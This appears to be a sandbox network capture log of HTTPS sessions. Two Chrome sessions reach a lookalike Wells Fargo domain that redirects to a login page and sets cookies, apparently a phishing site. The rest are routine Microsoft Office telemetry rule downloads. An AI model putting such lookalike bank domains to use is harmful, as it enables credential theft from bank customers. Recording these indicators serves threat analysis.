2024-11-14 19:43:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49891	103.114.163.132	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:31 UTC	589	OUT	OPTIONS /MettXckE HTTP/1.1 Host: connect.secure.access.wellsfargoadvlsor.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://online.secure.access.wellsfarqoadvlsor.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://online.secure.access.wellsfarqoadvlsor.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 19:43:31 UTC	20	IN	HTTP/1.1 302 Found
2024-11-14 19:43:31 UTC	40	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a Data Ascii: Access-Control-Allow-Credentials: true
2024-11-14 19:43:31 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2024-11-14 19:43:32 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-14 19:43:32 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-14 19:43:32 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2024-11-14 19:43:32 UTC	82	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 6f 6e 6e 65 63 74 2e 73 65 63 75 72 65 2e 61 63 63 65 73 73 2e 77 65 6c 6c 73 66 61 72 67 6f 61 64 76 6c 73 6f 72 2e 63 6f 6d 2f 61 75 74 68 2f 6c 6f 67 69 6e 2f 70 72 65 73 65 6e 74 0d 0a Data Ascii: Location: https://connect.secure.access.wellsfargoadvlsor.com/auth/login/present
2024-11-14 19:43:32 UTC	165	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 30 30 63 39 2d 30 62 35 63 3d 39 62 65 38 30 39 33 65 34 31 64 63 65 63 32 37 62 62 63 39 31 33 33 66 38 30 30 30 64 65 65 30 34 30 35 30 33 34 34 34 34 39 66 36 66 32 63 32 36 31 39 33 61 33 34 38 63 31 61 64 63 35 39 31 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 77 65 6c 6c 73 66 61 72 67 6f 61 64 76 6c 73 6f 72 2e 63 6f 6d 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 31 34 20 4e 6f 76 20 32 30 32 34 20 32 30 3a 34 33 3a 33 31 20 47 4d 54 0d 0a Data Ascii: Set-Cookie: 00c9-0b5c=9be8093e41dcec27bbc9133f8000dee04050344449f6f2c26193a348c1adc591; Path=/; Domain=wellsfargoadvlsor.com; Expires=Thu, 14 Nov 2024 20:43:31 GMT
2024-11-14 19:43:32 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-11-14 19:43:32 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-14 19:43:32 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49893	103.114.163.132	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:31 UTC	375	OUT	GET /MettXckE HTTP/1.1 Host: connect.secure.access.wellsfargoadvlsor.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 19:43:32 UTC	20	IN	HTTP/1.1 302 Found
2024-11-14 19:43:32 UTC	40	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a Data Ascii: Access-Control-Allow-Credentials: true
2024-11-14 19:43:32 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2024-11-14 19:43:32 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-14 19:43:32 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-14 19:43:32 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2024-11-14 19:43:32 UTC	82	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 6f 6e 6e 65 63 74 2e 73 65 63 75 72 65 2e 61 63 63 65 73 73 2e 77 65 6c 6c 73 66 61 72 67 6f 61 64 76 6c 73 6f 72 2e 63 6f 6d 2f 61 75 74 68 2f 6c 6f 67 69 6e 2f 70 72 65 73 65 6e 74 0d 0a Data Ascii: Location: https://connect.secure.access.wellsfargoadvlsor.com/auth/login/present
2024-11-14 19:43:32 UTC	165	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 30 30 63 39 2d 30 62 35 63 3d 63 66 35 35 30 36 31 38 30 34 38 33 35 33 39 39 65 66 34 35 65 30 66 30 63 61 64 35 35 39 35 33 66 63 66 36 62 37 61 34 35 33 33 36 34 65 32 62 35 36 32 35 38 37 34 37 62 32 37 31 35 31 66 39 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 77 65 6c 6c 73 66 61 72 67 6f 61 64 76 6c 73 6f 72 2e 63 6f 6d 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 31 34 20 4e 6f 76 20 32 30 32 34 20 32 30 3a 34 33 3a 33 32 20 47 4d 54 0d 0a Data Ascii: Set-Cookie: 00c9-0b5c=cf55061804835399ef45e0f0cad55953fcf6b7a453364e2b56258747b27151f9; Path=/; Domain=wellsfargoadvlsor.com; Expires=Thu, 14 Nov 2024 20:43:32 GMT
2024-11-14 19:43:32 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-11-14 19:43:32 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-14 19:43:32 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:32 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 2b6e93c1-f01e-00aa-0c07-368521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194332Z-1749fc9bdbdlfqrwhC1DFWmyg800000000zg00000000h4t3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:32 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:32 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194332Z-16547b76f7fr4g8xhC1DFW9cqc0000000kag000000007bgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:32 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:32 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:32 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:32 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194332Z-16547b76f7ftdm8dhC1DFWs13g0000000kyg00000000xt3y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 19:43:32 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:32 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: e1bc049e-701e-003e-11a5-3479b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194332Z-1749fc9bdbd2jxtthC1DFWfk5w00000002z0000000009fqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:32 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 9993dcf0-c01e-0046-3a0d-362db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194332Z-1749fc9bdbdnkwnnhC1DFWud0400000002z0000000008vtp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:32 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:32 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a288df0b-b01e-00ab-0601-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194332Z-16547b76f7fw2955hC1DFWsptc00000000v0000000001mkk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:33 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:32 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:32 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b3264f61-101e-0046-3a75-3591b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194332Z-r178fb8d765hbcjvhC1DFW50zc000000030g00000000d0h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:33 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:32 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 03686f8b-301e-0099-32a0-346683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194332Z-r178fb8d765mr9nqhC1DFWs8m8000000014000000000usec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:33 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
